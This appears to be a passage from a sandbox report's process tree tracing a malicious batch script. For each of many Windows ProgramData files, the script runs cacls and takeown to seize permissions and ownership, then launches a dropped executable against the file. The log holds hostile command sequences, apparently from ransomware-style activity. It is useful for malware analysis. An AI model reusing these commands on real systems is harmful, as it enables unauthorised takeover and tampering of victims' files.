C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml""2⤵PID:6056
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml" /E /G Admin:F /C3⤵PID:5848
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win32.xml"3⤵
- Modifies file permissions
PID:6124
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner3⤵PID:5020
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win32.xml" -nobanner4⤵PID:6036
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6020
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml""2⤵PID:5948
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml" /E /G Admin:F /C3⤵PID:5180
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml"3⤵PID:5548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner3⤵PID:5632
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin32.xml" -nobanner4⤵PID:5296
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5332
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log""2⤵PID:5244
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log" /E /G Admin:F /C3⤵PID:5708
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb00001.log"3⤵PID:5836
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb00001.log" -nobanner3⤵PID:5452
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb00001.log" -nobanner4⤵PID:5580
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:636
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd""2⤵PID:3656
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd" /E /G Admin:F /C3⤵PID:5808
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate.xsd"3⤵PID:5524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner3⤵PID:5908
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate.xsd" -nobanner4⤵PID:5988
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5640
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""2⤵PID:3648
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C3⤵PID:5972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"3⤵
- Modifies file permissions
PID:5432
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2010.xml" -nobanner3⤵PID:5616
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2010.xml" -nobanner4⤵PID:5996
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:4144
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""2⤵PID:5212
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C3⤵PID:5944
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"3⤵PID:5920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner3⤵PID:5536
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner4⤵PID:5592
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5268
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""2⤵PID:5016
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C3⤵PID:5960
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"3⤵PID:6052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner3⤵PID:5816
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner4⤵PID:5516
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5512
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""2⤵PID:5508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C3⤵PID:5564
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"3⤵
- Modifies file permissions
PID:5764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner3⤵PID:6096
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner4⤵PID:5992
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5156
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:5256
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:6084
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
PID:5480
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "watermark.png" -nobanner3⤵PID:5136
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "watermark.png" -nobanner4⤵PID:5356
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5336
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\parse.dat""2⤵PID:6076
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\parse.dat" /E /G Admin:F /C3⤵PID:5404
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\parse.dat"3⤵PID:5008
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "parse.dat" -nobanner3⤵PID:5896
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "parse.dat" -nobanner4⤵PID:5276
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5940
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.log""2⤵PID:2840
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.log" /E /G Admin:F /C3⤵PID:5668
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edb.log"3⤵PID:5600
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb.log" -nobanner3⤵PID:5828
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb.log" -nobanner4⤵PID:5460
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5328
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""2⤵PID:4520
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C3⤵PID:5880
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"3⤵PID:5904
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner3⤵PID:4916
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner4⤵PID:5360
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5744
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""2⤵PID:5688
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C3⤵PID:5712
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"3⤵
- Modifies file permissions
PID:5224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner3⤵PID:5380
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner4⤵PID:6132
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5228
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""2⤵PID:6016
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C3⤵PID:5200
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"3⤵
- Modifies file permissions
PID:5924
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner3⤵PID:5312
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner4⤵PID:6012
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5852
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""2⤵PID:6116
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C3⤵PID:6072
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"3⤵PID:5676
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner3⤵PID:740
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner4⤵PID:5140
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5448
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:5984
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:5412
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
- Modifies file permissions
PID:5532
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "background.png" -nobanner3⤵PID:5980
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "background.png" -nobanner4⤵PID:5692
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6164
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:6188
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:6236
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
PID:6256
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "tasks.xml" -nobanner3⤵PID:6276
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "tasks.xml" -nobanner4⤵PID:6292
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6316
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json""2⤵PID:6340
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json" /E /G Admin:F /C3⤵PID:6388
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\utc.app.json"3⤵PID:6408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.app.json" -nobanner3⤵PID:6428
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.app.json" -nobanner4⤵PID:6444
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6468
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs""2⤵PID:6492
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs" /E /G Admin:F /C3⤵PID:6540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs"3⤵PID:6560
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbres00002.jrs" -nobanner3⤵PID:6580
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbres00002.jrs" -nobanner4⤵PID:6596
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6620
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""2⤵PID:6644
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C3⤵PID:6692
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"3⤵PID:6716
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner3⤵PID:6736
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner4⤵PID:6752
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6776
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""2⤵PID:6800
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C3⤵PID:6848
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"3⤵PID:6868
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner3⤵PID:6888
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner4⤵PID:6904
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6928
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""2⤵PID:6952
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C3⤵PID:7000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"3⤵PID:7020
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftWordpad.xml" -nobanner3⤵PID:7040
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftWordpad.xml" -nobanner4⤵PID:7056
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7080
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵PID:7104
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:7152
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵PID:6148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "resource.xml" -nobanner3⤵PID:5868
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "resource.xml" -nobanner4⤵PID:6184
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5812
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json""2⤵PID:6196
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json" /E /G Admin:F /C3⤵PID:6304
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Diagnosis\DownloadedSettings\telemetry.ASM-WindowsDefault.json"3⤵PID:6280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner3⤵PID:6320
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "telemetry.ASM-WindowsDefault.json" -nobanner4⤵PID:6232
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6348
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log""2⤵PID:6416
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log" /E /G Admin:F /C3⤵PID:6476
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb00001.log"3⤵PID:6384
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edb00001.log" -nobanner3⤵PID:6364
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edb00001.log" -nobanner4⤵PID:6500
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6568
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""2⤵PID:6608
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C3⤵PID:6532
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"3⤵PID:6528
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2010.xml" -nobanner3⤵PID:6700
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2010.xml" -nobanner4⤵PID:6704
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6760
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""2⤵PID:6740
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C3⤵PID:6664
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"3⤵PID:6852
-
-
